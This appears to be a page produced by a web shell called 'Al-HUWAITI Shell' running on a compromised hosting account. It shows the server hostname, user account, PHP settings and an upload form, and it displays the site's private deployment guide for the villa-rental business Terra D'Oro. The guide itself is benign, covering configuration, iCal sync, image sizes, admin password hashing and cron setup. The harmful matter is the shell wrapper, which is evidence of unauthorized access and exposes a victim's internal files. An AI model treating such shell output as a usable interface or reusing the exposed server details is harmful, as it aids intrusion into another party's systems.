Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux webd003.cluster111.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : edevmultrx ( 811899)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/edevmultrx/www/terra-d-oro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/edevmultrx/www/terra-d-oro/DEPLOY.md
# Terra D'Oro — Deployment & Go-Live Guide

> **Hosting**: o2switch (cPanel) · **PHP** 8.1+ · **SQLite 3**
> **Stack**: PHP + Vanilla JS/CSS — zero Composer or npm dependencies
> **Updated**: March 2026

---

## Pre-Flight Checklist

Complete every item before pointing DNS to the new server.

- [ ] Domain DNS A-record pointing to o2switch IP
- [ ] SSL certificate active (Let's Encrypt via cPanel → "SSL/TLS" → "Let's Encrypt")
- [ ] PHP 8.1 or higher selected in cPanel → "Select PHP Version"
- [ ] PHP extensions enabled: `pdo_sqlite`, `curl`, `mbstring`, `fileinfo`
- [ ] `data/` directory is writable by the web server (`chmod 755`)
- [ ] `data/ical_feeds/` directory exists and is writable (`chmod 755`)
- [ ] `core/config.php` production constants updated (see Section 1)
- [ ] Admin password hash generated and inserted (see Section 4)
- [ ] All image assets uploaded to `public/assets/img/` (see Section 3)
- [ ] iCal feed URLs entered in the Admin panel (see Section 2)
- [ ] Cron job configured for automatic iCal sync (see Section 5)
- [ ] Smoke test: open every route, submit a test booking, check Admin

---

## 1. Production Configuration (`core/config.php`)

Update these constants **before the first request hits the server**.
Never commit real credentials to git — use environment variables where indicated.

```php
// ── Site identity ──────────────────────────────────────────────────────────
define('BASE_URL',   'https://www.terradoro.com');   // No trailing slash
define('SITE_NAME',  'Terra D\'Oro');

// ── Email (used for booking notifications and contact CTAs) ───────────────
define('MAIL_FROM',  'contact@terradoro.com');        // "From" address
define('MAIL_TO',    'nina@terradoro.com');           // Nina's inbox

// ── Admin authentication ───────────────────────────────────────────────────
define('ADMIN_USER',          'nina');
define('ADMIN_PASSWORD_HASH', '$2y$12$REPLACE_WITH_OUTPUT_OF_SECTION_4');

// ── iCal sync security key ─────────────────────────────────────────────────
// Best practice: set via environment variable in cPanel → "Environment Variables"
// then read it here. Never hardcode a real key in a committed file.
define('SYNC_KEY', getenv('TD_SYNC_KEY') ?: 'change-me-in-production');

// ── Environment ────────────────────────────────────────────────────────────
define('APP_ENV', 'production');   // Disables dump() / dd() helpers
define('DEBUG',   false);
```

### Setting the Environment Variable on o2switch

1. cPanel → **"Environment Variables"** (or use `.htaccess`):
   ```apache
   SetEnv TD_SYNC_KEY your-random-64-char-string-here
   ```
2. Generate a strong key:
   ```bash
   php -r "echo bin2hex(random_bytes(32)) . PHP_EOL;"
   ```

---

## 2. Configuring iCal Sync URLs (Admin Panel)

### What this does

Terra D'Oro uses a **two-way iCal bridge**:

| Direction | Purpose |
|---|---|
| **Inbound** (OTA → Terra D'Oro) | Imports bookings from Airbnb / Booking.com into the local DB |
| **Outbound** (Terra D'Oro → OTA) | Publishes confirmed bookings so OTAs block those dates |

### Step-by-step for Nina

1. Log in at `https://www.terradoro.com/admin`
2. Navigate to **"Synchronisation iCal"** in the sidebar
3. For each villa:

   **Outbound feed** (give this URL to Airbnb / Booking.com):
   ```
   https://www.terradoro.com/api/ical-feed.php?unit=villa-folacca
   https://www.terradoro.com/api/ical-feed.php?unit=villa-tamaricciu
   ```
   Copy the URL using the "Copier" button — paste it into the OTA's
   "Import calendar from URL" field.

   **Inbound sources** (paste URLs from OTAs here):
   - Click **"Modifier"** next to each source (Airbnb, Booking.com)
   - Paste the `.ics` export URL from the OTA dashboard
   - Click **"Enregistrer"**

### How to find the iCal export URL on each platform

| Platform | Where to find the URL |
|---|---|
| **Airbnb** | Hosting → Calendar → Availability Settings → Export Calendar → Copy link |
| **Booking.com** | Extranet → Rates & Availability → Availability → iCal → Copy |
| **Abritel / Vrbo** | Dashboard → Calendar → Export → Copy iCal link |

> **Important**: Paste the full URL including `https://`. URLs must be publicly accessible (no login required). Test by opening the URL in a browser — you should see a text file starting with `BEGIN:VCALENDAR`.

### Manual sync (optional)

Trigger an immediate sync without waiting for the cron:
```
https://www.terradoro.com/api/sync.php?key=YOUR_SYNC_KEY
```
Or from Admin → iCal Config → **"Synchroniser maintenant"**.

---

## 3. Image Assets — Required Files & Dimensions

Upload all images to `public/assets/img/` maintaining the exact filenames.
**Format**: JPEG, quality 85–90, progressive encoding, sRGB colour profile.
**Naming**: lowercase, hyphens, no spaces, no accents.

---

### Villa Folacca — `public/assets/img/villa-folacca/`

| File | Dimensions | Crop hint | Used in |
|---|---|---|---|
| `hero.jpg` | **1920 × 1080 px** | Landscape · horizon at 30% from top | Page hero (full-screen) |
| `card.jpg` | **640 × 480 px** | Pool or terrace, best angle | Homepage villa card |
| `card@2x.jpg` | **1280 × 960 px** | Same crop as card.jpg | Retina screens |
| `piscine.jpg` | **1200 × 900 px** | Pool + view (4:3) | Gallery slot 1 — large left panel |
| `salon.jpg` | **800 × 600 px** | Interior, natural light | Gallery slot 2 |
| `chambre.jpg` | **800 × 600 px** | Master bedroom | Gallery slot 3 |
| `terrasse.jpg` | **800 × 600 px** | Terrace / outdoor living | Gallery slot 4 |
| `cuisine.jpg` | **800 × 600 px** | Kitchen island | Gallery slot 5 |
| `exterieur.jpg` | **1920 × 840 px** | Aerial or wide exterior (16:7) | Gallery slot 6 — panorama strip |

---

### Villa Tamaricciu — `public/assets/img/villa-tamaricciu/`

| File | Dimensions | Crop hint | Used in |
|---|---|---|---|
| `hero.jpg` | **1920 × 1080 px** | Sea view, horizon at 40% from top | Page hero (full-screen) |
| `card.jpg` | **640 × 480 px** | Crique or pool, warm light | Homepage villa card |
| `card@2x.jpg` | **1280 × 960 px** | Same crop as card.jpg | Retina screens |
| `crique.jpg` | **1200 × 900 px** | Private cove, turquoise water | Gallery slot 1 — large left panel |
| `piscine.jpg` | **800 × 600 px** | Pool in granite rocks | Gallery slot 2 |
| `chambre.jpg` | **800 × 600 px** | Bedroom with sea glimpse | Gallery slot 3 |
| `pergola.jpg` | **800 × 600 px** | Outdoor kitchen / pergola | Gallery slot 4 |
| `jardin.jpg` | **800 × 600 px** | Mediterranean garden | Gallery slot 5 |
| `panorama.jpg` | **1920 × 840 px** | Sea panorama from terrace (16:7) | Gallery slot 6 — panorama strip |

---

### Homepage — `public/assets/img/home/`

| File | Dimensions | Used in |
|---|---|---|
| `refuge.jpg` | **720 × 900 px** | Editorial block (portrait, 4:5) |
| `corse-guide.jpg` | **640 × 480 px** | Discovery section (landscape, 4:3) |

---

### Restaurant — `public/assets/img/restaurant/`

| File | Dimensions | Used in |
|---|---|---|
| `teaser.jpg` | **1440 × 700 px** | Homepage restaurant teaser (full-bleed) |
| `hero.jpg` | **1920 × 1080 px** | Restaurant page hero |
| `esprit.jpg` | **800 × 960 px** | "L'esprit" editorial image (portrait) |
| `reservation.jpg` | **1440 × 700 px** | Reservation CTA section background |

---

### Global — `public/assets/img/`

| File | Dimensions | Used in |
|---|---|---|
| `og-default.jpg` | **1200 × 630 px** | Open Graph fallback for all pages |

---

### Hero Video — `public/assets/video/`

| File | Spec | Notes |
|---|---|---|
| `hero.webm` | 1920×1080, VP9, ~5–8 Mb | Preferred format (Chrome, Firefox, Edge) |
| `hero.mp4` | 1920×1080, H.264, ~8–12 Mb | Fallback (Safari, older browsers) |
| `hero-poster.jpg` | **1920 × 1080 px** | Shown before video plays (avoid flash of blank) |

> **Compression tip**: Use [HandBrake](https://handbrake.fr/) for MP4 (CRF 22, AAC audio off)
> and [FFmpeg](https://ffmpeg.org/) for WebM: `ffmpeg -i input.mp4 -c:v libvpx-vp9 -crf 33 -b:v 0 hero.webm`

---

## 4. Generating a Secure Admin Password

The admin panel uses **HTTP Basic Auth** verified in PHP against a bcrypt hash
stored in `core/config.php`. **Never store the plain-text password.**

### Step 1 — Generate the hash

Run this command on any machine with PHP 8.x installed:

```bash
php -r "echo password_hash('VOTRE_MOT_DE_PASSE_ICI', PASSWORD_BCRYPT, ['cost' => 12]) . PHP_EOL;"
```

**Example output** (your output will be different):
```
$2y$12$7k9VxZp3LmN8qR2sT1uWvOeKjHfGdBcAyXwP5nIlMoQrUi4hE6sD.
```

> The hash is 60 characters starting with `$2y$12$`. Copy the entire string.

### Step 2 — Insert into config

Open `core/config.php` and replace the placeholder:

```php
define('ADMIN_USER',          'nina');
define('ADMIN_PASSWORD_HASH', '$2y$12$YOUR_FULL_HASH_STRING_HERE');
```

### Step 3 — Test the login

Navigate to `https://www.terradoro.com/admin`. The browser will show a username/password prompt. Enter:
- **Username**: `nina` (or whatever `ADMIN_USER` is set to)
- **Password**: the plain-text password you used in Step 1

### Changing the password later

Repeat Step 1 with the new password, replace the hash in `config.php`, and re-deploy.
No database changes are needed.

---

## 5. Cron Job — Automatic iCal Sync (cPanel / o2switch)

The sync engine must run every 15 minutes to keep calendars aligned with Airbnb and Booking.com.

### Setup on o2switch cPanel

1. Log in to cPanel at `https://www.o2switch.net/manager` (or your custom cPanel URL)
2. Go to **Cron Jobs** (in the "Advanced" section)
3. Click **"Add New Cron Job"**
4. Set the schedule to **Every 15 minutes**:

   | Field | Value |
   |---|---|
   | Minute | `*/15` |
   | Hour | `*` |
   | Day | `*` |
   | Month | `*` |
   | Weekday | `*` |

5. Paste this command (replace `YOUR_SYNC_KEY` and your cPanel username):

   ```bash
   curl -s "https://www.terradoro.com/api/sync.php?key=YOUR_SYNC_KEY" > /dev/null 2>&1
   ```

   **Alternative using PHP CLI** (faster, no HTTP overhead):
   ```bash
   /usr/local/bin/php /home/CPANEL_USERNAME/public_html/api/sync.php > /dev/null 2>&1
   ```
   > To find the correct PHP binary path: cPanel → "Terminal" → run `which php`

6. Click **"Add New Cron Job"**

### Verifying the cron runs correctly

Check the sync log after the first cron execution:
```
data/sync_log.txt
```

A successful run looks like:
```
[2026-03-15 14:30:01] INFO   Starting sync — 2 source(s) found
[2026-03-15 14:30:02] INFO   villa-folacca/airbnb: 3 event(s) upserted, 0 cancelled
[2026-03-15 14:30:03] INFO   villa-tamaricciu/booking: 1 event(s) upserted, 0 cancelled
[2026-03-15 14:30:03] INFO   Sync complete in 1.84s
```

If the log shows errors, the most common causes are:
- Wrong `SYNC_KEY` in the curl command (check against `config.php`)
- iCal source URL is wrong or returns a non-200 response (check Admin → iCal Config)
- `data/` directory is not writable (run `chmod 755 data/` via SSH or cPanel File Manager)

---

## 6. File Permissions

Set these permissions after uploading via FTP/SFTP:

```bash
# Directories
find . -type d -exec chmod 755 {} \;

# PHP/HTML/CSS/JS files (read-only for web server)
find . -type f \( -name "*.php" -o -name "*.js" -o -name "*.css" \) -exec chmod 644 {} \;

# Writable data directory (SQLite DB + logs + iCal cache)
chmod 755 data/
chmod 755 data/ical_feeds/

# Block direct HTTP access to sensitive directories
# (already handled by data/.htaccess and core/.htaccess)
```

---

## 7. Go-Live Smoke Tests

Run these checks after deploying to production.

### Public pages
| URL | Expected result |
|---|---|
| `https://www.terradoro.com/` | Homepage loads, hero video poster visible |
| `https://www.terradoro.com/villa-folacca` | Villa page, booking form visible |
| `https://www.terradoro.com/villa-tamaricciu` | Villa page, booking form visible |
| `https://www.terradoro.com/restaurant` | Restaurant page loads |
| `https://www.terradoro.com/decouvrir-corse` | Recommendations page loads |
| `https://www.terradoro.com/nonexistent` | Custom 404 page (botanical design) |

### Booking flow
1. Go to `/villa-folacca#reservation`
2. Select dates at least 3 nights apart (check availability widget responds)
3. Verify price preview updates
4. Submit → redirected to `/checkout` with a summary
5. Confirm → `/confirmation` page shown
6. Check Admin → Bookings → booking appears with status `confirmed`

### Admin panel
| URL | Expected result |
|---|---|
| `https://www.terradoro.com/admin` | Browser prompts for username/password |
| After login → Dashboard | Stats cards + upcoming bookings visible |
| Admin → iCal Config | Feed URLs displayed, source forms editable |
| Admin → Bookings | Booking created in step above visible |

### iCal feeds
Open in browser — should download a `.ics` text file:
```
https://www.terradoro.com/api/ical-feed.php?unit=villa-folacca
https://www.terradoro.com/api/ical-feed.php?unit=villa-tamaricciu
```

### API availability endpoint
```
https://www.terradoro.com/api/availability?unit_id=1&check_in=2026-07-01&check_out=2026-07-08
```
Should return JSON: `{"available": true, "booked_ranges": [...]}`

---

## 8. Ongoing Maintenance (for Nina)

### Adding a new recommendation (beach, restaurant, etc.)
Admin → **"Recommandations"** → "Ajouter" → fill in the form → the Guide page updates automatically.

### Blocking dates manually (maintenance, personal use)
Admin → **Réservations** → **"Bloquer des dates"** → select unit + date range.

### Changing the admin password
Run the `php -r "echo password_hash(...)"` command (Section 4), update `core/config.php`, re-upload the file.

### Checking if sync is working
Admin → iCal Config → look at the coloured status dot next to each source:
- 🟢 **Vert** = last sync succeeded
- 🔴 **Rouge** = error (hover for detail)
- ⚫ **Gris** = never synced (URL not set yet)

---

## Quick Reference

| Item | Value / Location |
|---|---|
| Admin URL | `https://www.terradoro.com/admin` |
| Sync API | `https://www.terradoro.com/api/sync.php?key=SYNC_KEY` |
| Folacca iCal feed | `https://www.terradoro.com/api/ical-feed.php?unit=villa-folacca` |
| Tamaricciu iCal feed | `https://www.terradoro.com/api/ical-feed.php?unit=villa-tamaricciu` |
| Database | `data/terra.db` (SQLite, download to back up) |
| Sync log | `data/sync_log.txt` |
| Config file | `core/config.php` |
| Image root | `public/assets/img/` |

Al-HUWAITI Shell